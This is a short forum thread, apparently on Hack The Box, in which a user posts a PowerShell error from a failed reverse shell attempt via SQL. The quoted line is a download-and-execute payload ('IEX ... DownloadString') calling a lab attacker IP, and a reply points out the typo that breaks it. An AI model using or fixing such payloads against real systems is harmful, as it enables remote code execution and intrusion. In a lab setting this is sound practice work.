getting error in SQL

this is the error while trying for reverse shell


New-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function,

script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is

correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.16.7/shell

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) [], CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException


can any one help me in this??

Type your comment> @bh98 said:

this is the error while trying for reverse shell


New-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function,

script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is

correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.16.7/shell

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) [], CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException


can any one help me in this??

This might help. xp_cmdshell error — Hack The Box :: Forums

This is the important bit of the error:

New-ObjectNet.WebClient : The term 'New-ObjectNet.WebClient' is not recognized as the name of a cmdlet, function,   

That the command you meant to use?